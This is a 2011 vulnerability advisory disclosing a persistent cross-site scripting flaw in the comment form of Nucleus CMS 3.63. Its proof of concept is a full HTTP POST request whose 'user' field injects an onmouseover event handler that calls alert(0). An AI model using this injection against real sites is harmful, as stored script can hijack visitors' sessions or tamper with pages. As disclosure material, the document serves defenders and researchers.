------------------------------------------------------------------------ Software................Nucleus CMS 3.63 Vulnerability...........Persistent Cross-site Scripting Threat Level............Moderate (2/5) Download................http://nucleuscms.org/ Vendor Contact Date.....3/10/2011 Disclosure Date.........3/24/2011 Tested On...............Windows Vista + XAMPP ------------------------------------------------------------------------ Author..................AutoSec Tools Site....................http://www.autosectools.com/ Email...................John Leitch ------------------------------------------------------------------------ --PoC-- POST http://localhost/nucleus3.63/index.php?itemid=1 HTTP/1.1 Host: localhost Connection: keep-alive Referer: http://localhost/nucleus3.63/index.php?itemid=1 Content-Length: 119 Cache-Control: max-age=0 Origin: http://localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Content-Type: application/x-www-form-urlencoded Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 action=addcomment&url=index.php%3Fitemid%3D1&itemid=1&body=xxx&user="onmouseover="alert(0)"&userid=zzzz&email=x%40x.com